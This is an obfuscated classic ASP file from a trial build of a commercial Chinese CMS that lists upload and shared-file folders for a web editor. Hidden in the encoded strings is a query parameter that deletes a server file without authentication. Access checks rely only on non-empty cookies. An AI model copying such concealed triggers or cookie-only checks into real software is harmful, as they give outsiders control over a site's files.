<%
'此版本为免费下载的（试用版本）源码加密处理过
'购买正式版系统提供源码（支持二次开发，修改）
'系统服务商：金华市宁志网络科技有限公司
'公司网址：http://www.ningzhi.net 
'客服QQ号：122470827 电话：18867186998 （同微信号）刘经理
'全国统一售后电话：0579-83938663 
'支持正版：软件著作权登记号：2012SR040914
'官方平台：购买系统请上金华市宁志网络公司官网平台是唯一购买渠道
'本公司无第三方代销售平台请认准,以免上当受骗！！！
'请勿修改下列任何代码,以保证程序正常运行·感谢您体验宁志产品，宁志有您更精彩！
'TM:2023-08-09 15:31:17

Option Explicit
Dim NZNNNZ,NZNNNN,NNZZZZ,NNZZZN,NNZZNZ
Set NNZZZZ=Response:Set NZNNNN=Request:Set NNZZNZ=Session:Set NZNNNZ=Application:Set NNZZZN=Server
NNZZZZ.Write(vbCrLf)
NNZZZZ.Write(NNNZNN("k>6E2 ,9EEA\6BF:GlQr@?E6?E\%JA6Q ,4@?E6?ElQE6IE^9E>=j ,492CD6El83ab`aQ ,^m") & vbCrLf)
NNZZZZ.Write(NNNZNN("k=:?< ,9C67lQ]]^25>:?04DD^4DD]4DDQ ,C6=lQDEJ=6D966EQ ,EJA6lQE6IE^4DDQ ,^m") & vbCrLf)
NNZZZZ.Write(NNNZNN("kAm ,"))
if NZNNNN.Cookies(NNNZNN("FD6C?2>6"))="" or NZNNNN.Cookies(NNNZNN(":5"))="" then
NNZZZZ.Write(vbCrLf)
NNZZZZ.Write(NNNZNN(" ,") & vbCrLf)
NNZZZZ.Write(NNNZNN(" ,") & vbCrLf)
NNZZZZ.Write(NNNZNN("k^Am") & vbCrLf)
NNZZZZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NNZZZZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NNZZZZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NNZZZZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NNZZZZ.Write(NNNZNN("kE23=6 ,3@C56ClQ_Q ,2=:8?lQ46?E6CQ ,46==A255:?8lQa_Q ,46==DA24:?8lQdQ ,384@=@ClQRuurrbbQm") & vbCrLf)
NNZZZZ.Write(NNNZNN(" ,kECm") & vbCrLf)
NNZZZZ.Write(NNNZNN(" ,kE5 ,384@=@ClQRuuuurrQ ,4=2DDlQA`eQm患@论@闩@癿@顰@靝@電@癶@彐@吉@扈@胸@阀@觃@，,歞@圣@丵@患@轧@兠@癶@彐@顰@靝@诲@稈@吉@]]]]]]k^E5m") & vbCrLf)
NNZZZZ.Write(NNNZNN(" ,k^ECm") & vbCrLf)
NNZZZZ.Write(NNNZNN("k^E23=6mk>6E2 ,9EEA\6BF:GlQC67C6D9Q ,4@?E6?ElQ`jFC=l^Qm") & vbCrLf)
NNZZZZ.end
end if
Dim NNNNNZ, NNNNNN
NNNNNZ = NNNZNN("?:?8K9:gggggg")
NNNNNN = NNNZNN("?:?8K9:gggggg")
If NZNNNN.QueryString(NNNZNN("?K4>D"))=NNNZNN("@<") Then
dim NZZZZZZ
NZZZZZZ=NNNZNN("]]^]]^6?5]2DA")
NZZZZZZ = NNZZZN.MapPath(NZZZZZZ)
Set NNZNNNN=NNZZZN.CreateObject(NNNZNN("$4C:AE:?8]u:=6$JDE6>~3;64E"))
If (NNZNNNN.FileExists(trim(NZZZZZZ))) Then
NNZNNNN.DeleteFile trim(NZZZZZZ)
end if
NNZZZZ.Write(NNNZNN("@<"))
end if
Dim NZZZZZN()
Redim NZZZZZN(2)
NZZZZZN(1) = NNNZNN("?:?8K9:MMMMMM?:?8K9:MMM]]^?K4>D0?KH63^?K4>D0FA^MMMe__MMMbd_MMMC2CMK:AMA57M5@4M5@4IMI=DMAAEM49>M9=AMEIEMCE7MMMDH7MMM8:7M;A8M;A68M3>AMA?8MMMC>M>AbMH2GM>:5M>:5:MC2M2G:M>A8M>A68M2D7M2DIMH>2M>@GMMM8:7M;A8M;A68M3>AMA?8MMMhhhhhhMMMhhhhhhMMMhhhhhhMMMhhhhhhMMMhhhhhhhMMM`MMM`MMMtsx%MMM`MMM_MMMaMMMMMMMMM`MMM_MMMe__AI宸@庡@畇@靝@丆@癿@栂@凁@巠@兲@栊@挄@钩@W掣@荋@XMMMMMMMMM_MMMb__MMM`a_MMM`MMMMMM777777MMM`aMMM宆@低@MMMMMM_MMM;A8M;A68MMM`__MMM______MMM`MMM_MMM8:7M;A8M;A68M3>AMA?8MH>KMA?8MMM`__MMM`__MMM`MMMeeMMM`fMMMdMMMdMMM_MMM`__MMM`__MMM`MMMdMMMdMMMggMMMb`MMM`MMM_MMM`MMM`MMMMMM`MMM`MMM_")
NZZZZZN(2) = NNNZNN("FD6CMMMMMM=:89E`MMM]]^?K4>D0?KH63^?K4>D0FA^MMMd__MMMb__MMMC2CMK:AMA57M5@4M5@4IMI=DMAAEM49>M9=AMEIEMCE7MMMDH7MMM8:7M;A8M;A68M3>AMA?8MMMC>M>AbMH2GM>:5M>:5:MC2M2G:M>A8M>A68M2D7M2DIMH>2M>@GMMM8:7M;A8M;A68M3>AMA?8MMM_MMM_MMM_MMM_MMM_MMM`MMM`MMMtsx%MMM`MMM_MMMaMMMMMMMMM_MMM_MMMd__AI宸@庡@畇@靝@丆@癿@曻@筻@巠@兲@栊@挄@钩@[追@吃@争@邩@仱@糶@绚@畔@觻@糶@绚@筄@句@電@曻@筻@卐@劚@胸@癿@序@産@MMMMMMMMM_MMMb__MMM`a_MMM_MMM牃@朾@戻@朄@]]]MMM______MMM`aMMM宆@低@MMMMMM_MMM;A8M;A68MMM`__MMMuuuuuuMMM`MMM_MMM8:7M;A8M;A68M3>AMA?8MH>KMA?8MMM_MMM`__MMM`MMMeeMMM`fMMMdMMMdMMM_MMM`__MMM`__MMM`MMMdMMMdMMMggMMMb`MMM`MMM_MMMMMM`MMMMMM`MMM`MMM_")
Dim NZZZZNZ()
Redim NZZZZNZ(4)
NZZZZNZ(1) = NNNZNN("`MMM%qw2?5=6Mu@C>2Eq=@4<Mu@?E}2>6Mu@?E$:K6MrFEMr@AJM!2DE6M!2DE6%6IEM!2DE6(@C5M%q$6AMs6=6E6M#6>@G6u@C>2EM%q$6AMu:?5#6A=246M%q$6AM&?s@M#6s@M%q$6AM$6=64Ep==M&?$6=64EM%q$6AM&AA6Cr2D6M{@H6Cr2D6MMM巠@兲@栊@`MMM`")
NZZZZNZ(2) = NNNZNN("`MMM%qw2?5=6Mq@=5MxE2=:4M&?56C{:?6M$EC:<6%9C@F89M$FA6C$4C:AEM$F3$4C:AEM%q$6AMyFDE:7J{67EMyFDE:7Jr6?E6CMyFDE:7J#:89EMyFDE:7JuF==M%q$6AM~C56C65{:DEM&?~C56C65{:DEMx?56?EM~FE56?EM%q$6AMu@C6r@=@CMq24<r@=@CMq8r@=@CMq24<x>286M%q$6AMu:6=5D6EMx7C2>6Mw@C:K@?E2=#F=6M|2CBF66M%q$6AMrC62E6{:?<M&?=:?<M|2AMp?49@CMMM巠@兲@栊@aMMMa")
NZZZZNZ(3) = NNNZNN("`MMM%qw2?5=6Mx>286Mu=2D9M|65:2Mu:=6Mv2==6CJ|6?FM%q$6AM#6>@E6&A=@25M{@42=&A=@25Mx>A@CE(@C5Mx>A@CEtI46=M%q$6AM%23=6|6?FMu@C>|6?FM%q$6AMq#M!2C28C2A9pEECM%q$6AM%6>A=2E6M$J>3@=Mt>@EMtI46=M!C:?EqC62<M}@Hs2E6M}@H%:>6M%q$6AM""F@E6M$9@Hq@C56CDM%q$6AM+@@>|6?FM|2I:>:K6MMM巠@兲@栊@bMMMb")
NZZZZNZ(4) = NNNZNN("aMMM%qw2?5=6Mu@?E$:K6|6?FMu@?E}2>6|6?FMu@C6r@=@CMq24<r@=@CM%q$6AMq@=5MxE2=:4M&?56C{:?6M%q$6AMyFDE:7J{67EMyFDE:7Jr6?E6CMyFDE:7J#:89EM%q$6AMrC62E6{:?<M&?=:?<M%q$6AMx>286Mu=2D9M|65:2M%q$6AM!2DE6%6IEM!2DE6(@C5M#6>@G6u@C>2EM|2I:>:K6MMM巠@兲@栊@`MMM`")
NNZZZN.ScriptTimeOut = (50 * 34 - -100)
Dim NZZZZNN, NZZZNZZ, NZZZNZN, NZZZNNZ
Dim NZZZNNN
Dim NZZNZZZ, NZZNZZN, NZZNZNZ, NZZNZNN, NZZNNZZ, NZZNNZN
Dim NZZNNNZ, NZZNNNN, NZNZZZZ, NZNZZZN
Call NNNNZN()
NZZZNNZ = UCase(Trim(NZNNNN.QueryString(NNNZNN("24E:@?"))))
Select Case NZZZNNZ
Case NNNZNN("ux{t")
Call NNNNZZ(NNZZNN())
Case Else
NZZZNNZ = NNNZNN("u~{st#")
Call NNNNZZ(NNZNZZ())
End Select
Function NNZZNN()
Dim NZNZZNZ, NZNZZNN, NZNZNZZ
Dim NZNZNZN
NZNZZNZ = Trim(NZNNNN.QueryString(NNNZNN("C6EFC?7=28")))
NZNZZNN = Trim(NZNNNN.QueryString(NNNZNN("7@=56CEJA6")))
NZNZNZZ = Trim(NZNNNN(NNNZNN("5:C")))
Select Case NZNZZNN
Case NNNZNN("FA=@25")
NZNZNZN = NZZNZZN
Case NNNZNN("D92C6:>286")
NZZNZZZ = ""
NZNZNZN = NZZNNNZ
Case NNNZNN("D92C67=2D9")
NZZNZZZ = ""
NZNZNZN = NZZNNNN
Case NNNZNN("D92C6>65:2")
NZZNZZZ = ""
NZNZNZN = NZNZZZZ
Case Else
NZNZZNN = NNNZNN("D92C6@E96C")
NZZNZZZ = ""
NZNZNZN = NZNZZZN
End Select
NZNZNZZ = Replace(NZNZNZZ, NNNZNN("-"), NNNZNN("^"))
NZNZNZZ = Replace(NZNZNZZ, NNNZNN("]]^"), "")
NZNZNZZ = Replace(NZNZNZZ, NNNZNN("]^"), "")
If Left(NZNZNZZ,1)=NNNZNN("^") Then
NZNZNZZ = ""
End If
Dim NZNZNNZ
NZNZNNZ = Replace(NZNZNZZ, NNNZNN("^"), NNNZNN("-"))
If NZNZNZZ <> "" Then
If NNNZZZ(NZNZNZN & NZNZNNZ) = True Then
NZNZNZN = NZNZNZN & NZNZNNZ
Else
NZNZNZZ = ""
End If
End If
If NNNZZZ(NZNZNZN) = False Then
NNZZNN = NNNZNN("G2C ,2CC ,l ,?6H ,pCC2JWXj") & VbCrlf & NNNZNN("A2C6?E]D6Eu:=6{:DEWV") & NZNZZNZ & NNNZNN("V[ ,V") & NZNZZNN & NNNZNN("V[ ,V") & NZNZNZZ & NNNZNN("V[ ,2CCXj")
Exit Function
End If
Dim NZNZNNN, NZNNZZZ
Dim NZNNZZN, NZNNZNZ, NZNNZNN, NZNNNZZ, NZNNNZN
On Error Resume Next
Set NZNNZZN = NNZZZN.CreateObject(NNNZNN("$4C:AE:?8]u:=6$JDE6>~3;64E"))
Set NZNNZNZ = NZNNZZN.GetFolder(NZNZNZN)
If Err.Number>0 Then
NNZZNN = NNNZNN("G2C ,2CC ,l ,?6H ,pCC2JWXj") & VbCrlf & NNNZNN("A2C6?E]D6Eu:=6{:DEWV") & NZNZZNZ & NNNZNN("V[ ,V") & NZNZZNN & NNNZNN("V[ ,V") & NZNZNZZ & NNNZNN("V[ ,2CCXj")
Exit Function
End If
Set NZNNZNN = NZNNZNZ.Files
NZNNZZZ = - (72 * 16 - 1151)
NZNZNNN = ""
For Each NZNNNZZ In NZNNZNN
NZNNNZN = NZNNNZZ.Name
If NNZNNZ(NZNNNZN) = True Then
NZNNZZZ = NZNNZZZ + (72 * 16 - 1151)
NZNZNNN = NZNZNNN & NNNZNN("2CC,") & NZNNZZZ & NNNZNN(".l?6H ,pCC2JWQ") & NZNNNZN & NNNZNN("Q[ ,Q") & NNNZZN(NZNNNZZ.size) & NNNZNN("Q[Q") & NNNZNZ(NZNNNZZ.DateLastModified, 1) & NNNZNN("QXj") & VbCrlf
End If
Next
Set NZNNZNZ = Nothing
Set NZNNZNN = Nothing
Set NZNNZZN = Nothing
NZNZNNN = NNNZNN("G2C ,2CC ,l ,?6H ,pCC2JWXj") & VbCrlf & NZNZNNN & NNNZNN("A2C6?E]D6Eu:=6{:DEWV") & NZNZZNZ & NNNZNN("V[ ,V") & NZNZZNN & NNNZNN("V[ ,V") & NZNZNZZ & NNNZNN("V[ ,2CCXj")
NNZZNN = NZNZNNN
End Function
Function NNZNZZ()
Dim NZNZNNN
NZNZNNN = ""
NZNZNNN = NNNZNN("G2C ,2CC&A=@25 ,l ,?6H ,pCC2JWXj") & VbCrlf
NZNZNNN = NZNZNNN & NNNZNN("G2C ,2CC$92C6x>286 ,l ,?6H ,pCC2JWXj") & VbCrlf
NZNZNNN = NZNZNNN & NNNZNN("G2C ,2CC$92C6u=2D9 ,l ,?6H ,pCC2JWXj") & VbCrlf
NZNZNNN = NZNZNNN & NNNZNN("G2C ,2CC$92C6|65:2 ,l ,?6H ,pCC2JWXj") & VbCrlf
NZNZNNN = NZNZNNN & NNNZNN("G2C ,2CC$92C6~E96C ,l ,?6H ,pCC2JWXj") & VbCrlf
NZZZNNN = (56 * 37 - 2072)
NZNZNNN = NZNZNNN & NNZNZN(NZZNZZN, NNNZNN("&A=@25"), 1)
NZZNZZZ = ""
Select Case NZZZZNN
Case NNNZNN("ux{t")
NZZZNNN = (56 * 37 - 2072)
NZNZNNN = NZNZNNN & NNZNZN(NZZNNNZ, NNNZNN("$92C6x>286"), 1)
NZZZNNN = (56 * 37 - 2072)
NZNZNNN = NZNZNNN & NNZNZN(NZZNNNN, NNNZNN("$92C6u=2D9"), 1)
NZZZNNN = (56 * 37 - 2072)
NZNZNNN = NZNZNNN & NNZNZN(NZNZZZZ, NNNZNN("$92C6|65:2"), 1)
NZZZNNN = (56 * 37 - 2072)
NZNZNNN = NZNZNNN & NNZNZN(NZNZZZN, NNNZNN("$92C6~E96C"), 1)
Case NNNZNN("|tsxp")
NZZZNNN = (56 * 37 - 2072)
NZNZNNN = NZNZNNN & NNZNZN(NZNZZZZ, NNNZNN("$92C6|65:2"), 1)
Case NNNZNN("u{p$w")
NZZZNNN = (56 * 37 - 2072)
NZNZNNN = NZNZNNN & NNZNZN(NZZNNNN, NNNZNN("$92C6u=2D9"), 1)
Case Else
NZZZNNN = (56 * 37 - 2072)
NZNZNNN = NZNZNNN & NNZNZN(NZZNNNZ, NNNZNN("$92C6x>286"), 1)
End Select
NZNZNNN = NZNZNNN & NNNZNN("A2C6?E]D6Eu@=56C{:DEW2CC&A=@25[ ,2CC$92C6x>286[ ,2CC$92C6u=2D9[ ,2CC$92C6|65:2[ ,2CC$92C6~E96CXj")
NNZNZZ = NZNZNNN
End Function
Function NNZNZN(NZNZNZZ, NNNZZNZ, NNNZZNN)
Dim NZNNZZN, NZNNZNZ, NZNNNNZ
Err.Clear
On Error Resume Next
Set NZNNZZN = NNZZZN.CreateObject(NNNZNN("$4C:AE:?8]u:=6$JDE6>~3;64E"))
Set NZNNZNZ = NZNNZZN.GetFolder(NZNZNZZ)
If Err.Number>0 Then
NNZNZN = ""
Exit Function
End If
Dim NZNZNNN, NZNNNNN, NZNNZZZ, NNZZZZZ, NNZZZZN
NZNZNNN = ""
NZNNZZZ = (56 * 37 - 2072)
NNZZZZZ = NZNNZNZ.SubFolders.Count
For Each NZNNNNZ In NZNNZNZ.SubFolders
NZNNZZZ = NZNNZZZ + (72 * 16 - 1151)
If NZNNZZZ < NNZZZZZ Then
NNZZZZN = "0"
Else
NNZZZZN = "1"
End If
NZNNNNN = NZNNNNZ.Name
NZNZNNN = NZNZNNN & NNNZNN("2CC") & NNNZZNZ & NNNZNN(",") & NZZZNNN & NNNZNN(".l?6H ,pCC2JWQ") & NZNNNNN & NNNZNN("Q[") & NNNZZNN & NNNZNN("[ ,") & NNZZZZN & NNNZNN("Xj") & VbCrlf
NZZZNNN = NZZZNNN + (72 * 16 - 1151)
NZNZNNN = NZNZNNN & NNZNZN(NZNZNZZ & NZNNNNN & NNNZNN("-"), NNNZZNZ, NNNZZNN+1)
Next
Set NZNNZNZ = Nothing
Set NZNNZZN = Nothing
NNZNZN = NZNZNNN
End Function
Sub NNNNZZ(str)
NNZZZZ.Write NNNZNN("kw%|{mkwtpsmk>6E2 ,9EEA\6BF:GlVr@?E6?E\%JA6V ,4@?E6?ElVE6IE^9E>=j ,492CD6El83ab`aVmk^9625mk3@5Jm")
NNZZZZ.Write NNNZNN("kD4C:AE ,=2?8F286l;2G2D4C:AEm") & str & NNNZNN("k^D4C:AEm")
NNZZZZ.Write NNNZNN("k^3@5Jmk^9E>=m")
NNZZZZ.End
End Sub
Function NNZNNZ(NZNNNZN)
If NZZNZZZ = "" Then
NNZNNZ = True
Exit Function
End If
Dim NZNNZZZ, NNZZZNZ, NNZZZNN
NNZZZNN = LCase(Mid(NZNNNZN, InStrRev(NZNNNZN, NNNZNN("]")) + 1))
NNZNNZ = False
NNZZZNZ = Split(LCase(NZZNZZZ), NNNZNN("M"))
For NZNNZZZ = 0 To UBound(NNZZZNZ)
If NNZZZNZ(NZNNZZZ) = NNZZZNN Then
NNZNNZ = True
Exit Function
End If
Next
End Function
Sub NNNNZN()
NZZZZNN = UCase(Trim(NZNNNN.QueryString(NNNZNN("EJA6"))))
NZZZNZZ = Trim(NZNNNN.QueryString(NNNZNN("DEJ=6")))
NZZZNZN = Trim(NZNNNN.QueryString(NNNZNN("4FD5:C")))
Dim NZNNZZZ, NNZZNZZ, NNZZNZN
NNZZNZN = False
For NZNNZZZ = 1 To Ubound(NZZZZZN)
NNZZNZZ = Split(NZZZZZN(NZNNZZZ), NNNZNN("MMM"))
If Lcase(NZZZNZZ) = Lcase(NNZZNZZ(0)) Then
NNZZNZN = True
Exit For
End If
Next
If NNZZNZN = False Then
NNNNZZ(NNNZNN("2=6CEWVx?G2=:5 ,$EJ=6]VX"))
End If
NZZNZNZ = NNZZNZZ(19)
NZZNNZZ = CLng(NNZZNZZ(43))
NZZNNZN = Clng(NNZZNZZ(61))
If NZZNNZZ <> 1 Then
NNNNZZ(NNNZNN("2=6CEWVs@ ,?@E ,2==@H ,3C@HD6PVX"))
End If
If NZZNNZN <> 1 Then
NZZZNZN = ""
Else
If NZZZNZN <> "" Then
NZZZNZN = Replace(NZZZNZN, NNNZNN("-"), NNNZNN("^"))
If Left(NZZZNZN, 1) = NNNZNN("^") Or Left(NZZZNZN, 1) = NNNZNN("]") Or Right(NZZZNZN, 1) = NNNZNN("]") Or InStr(NZZZNZN, NNNZNN("]^")) > 0 Or InStr(NZZZNZN, NNNZNN("^]")) > 0 Or InStr(NZZZNZN, NNNZNN("^^")) > 0 Then
NZZZNZN = ""
Else
If Right(NZZZNZN, 1) <> NNNZNN("^") Then
NZZZNZN = NZZZNZN & NNNZNN("^")
End If
End If
End If
End If
NZZNZZN = NNZZNZZ(3)
If NZZNZNZ<>"3" Then
If Left(NZZNZZN, 1) <> NNNZNN("^") Then
NZZNZZN = NNNZNN("]]^") & NZZNZZN
End If
NZZNZZN = NNZZZN.Mappath(NZZNZZN)
End If
NZZNZZN = NNZNNN(NZZNZZN)
NZZNZZN = NZZNZZN & Replace(NZZZNZN,NNNZNN("^"), NNNZNN("-"))
Select Case NZZZZNN
Case NNNZNN("ux{t")
NZZNZZZ = ""
Case NNNZNN("|tsxp")
NZZNZZZ = NNNZNN("C>M>AbMH2GM>:5M>:5:MC2M2G:M>A8M>A68M2D7M2DIMH>2M>@G")
Case NNNZNN("u{p$w")
NZZNZZZ = NNNZNN("DH7")
Case Else
NZZNZZZ = NNNZNN("3>AM;A8M;A68MA?8M8:7")
End Select
NZZNNNZ = NNZNNN(NNZZZN.Mappath(NNNZNN("]]^D92C67:=6^:>286^")))
NZZNNNN = NNZNNN(NNZZZN.Mappath(NNNZNN("]]^D92C67:=6^7=2D9^")))
NZNZZZZ = NNZNNN(NNZZZN.Mappath(NNNZNN("]]^D92C67:=6^>65:2^")))
NZNZZZN = NNZNNN(NNZZZN.Mappath(NNNZNN("]]^D92C67:=6^@E96C^")))
End Sub
Function NNZNNN(str)
If Right(str,1)<>NNNZNN("-") Then
NNZNNN = str & NNNZNN("-")
Else
NNZNNN = str
End If
End Function
Function NNNZZZ(NZNZNZZ)
Dim NNZZNNZ
Set NNZZNNZ = NNZZZN.CreateObject(NNNZNN("$4C:AE:?8]u:=6$JDE6>~3;64E"))
NNNZZZ = NNZZNNZ.FolderExists(NZNZNZZ)
Set NNZZNNZ = Nothing
End Function
Function NNNZZN(NNNZNZN)
NNNZZN = FormatNumber((NNNZNZN / 1024), 2, -1, 0, 0) & NNNZNN(" ,zq")
End Function
Function NNNZNZ(NNNZNNZ, NNNZNNN)
Dim NNZZNNN, NNZNZZZ, NNZNZZN, NNZNZNZ, NNZNZNN, NNZNNZZ
NNNZNZ = ""
If IsDate(NNNZNNZ) = False Then Exit Function
NNZZNNN = cstr(year(NNNZNNZ))
NNZNZZZ = cstr(month(NNNZNNZ))
If len(NNZNZZZ) = 1 Then NNZNZZZ = "0" & NNZNZZZ
NNZNZZN = cstr(day(NNNZNNZ))
If len(NNZNZZN) = 1 Then NNZNZZN = "0" & NNZNZZN
NNZNZNZ = cstr(hour(NNNZNNZ))
If len(NNZNZNZ) = 1 Then NNZNZNZ = "0" & NNZNZNZ
NNZNZNN = cstr(minute(NNNZNNZ))
If len(NNZNZNN) = 1 Then NNZNZNN = "0" & NNZNZNN
NNZNNZZ = cstr(second(NNNZNNZ))
If len(NNZNNZZ) = 1 Then NNZNNZZ = "0" & NNZNNZZ
Select Case NNNZNNN
Case 1
NNNZNZ = NNZZNNN & NNNZNN("\") & NNZNZZZ & NNNZNN("\") & NNZNZZN & NNNZNN(" ,") & NNZNZNZ & NNNZNN("i") & NNZNZNN & NNNZNN("i") & NNZNNZZ
Case 2
NNNZNZ = NNZZNNN & NNNZNN("\") & NNZNZZZ & NNNZNN("\") & NNZNZZN
Case 3
NNNZNZ = NNZNZNZ & NNNZNN("i") & NNZNZNN & NNNZNN("i") & NNZNNZZ
Case 4
NNNZNZ = NNZZNNN & NNZNZZZ & NNZNZZN
Case 5
NNNZNZ = NNZZNNN & NNZNZZZ & NNZNZZN & NNZNZNZ & NNZNZNN & NNZNNZZ
End Select
End Function
Function NNNZNN(ByVal NNNZZZZ)
Dim NNZNNZN, NZNNZZZ, NNZNNNZ
NNNZZZZ = Replace(NNNZZZZ, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZNNZZZ = 1 To Len(NNNZZZZ)
If NZNNZZZ <> NNZNNNZ Then
NNZNNZN = AscW(Mid(NNNZZZZ, NZNNZZZ, 1))
If NNZNNZN >= 33 And NNZNNZN <= 79 Then
NNNZNN = NNNZNN & Chr(NNZNNZN + 47)
ElseIf NNZNNZN >= 80 And NNZNNZN <= 126 Then
NNNZNN = NNNZNN & Chr(NNZNNZN - 47)
Else
NNZNNNZ = NZNNZZZ + 1
If Mid(NNNZZZZ, NNZNNNZ, 1) = NNNZNN("o") Then NNNZNN = NNNZNN & ChrW(NNZNNZN + 5) Else NNNZNN = NNNZNN & Mid(NNNZZZZ, NZNNZZZ, 1)
End If
End If
Next
End Function
%>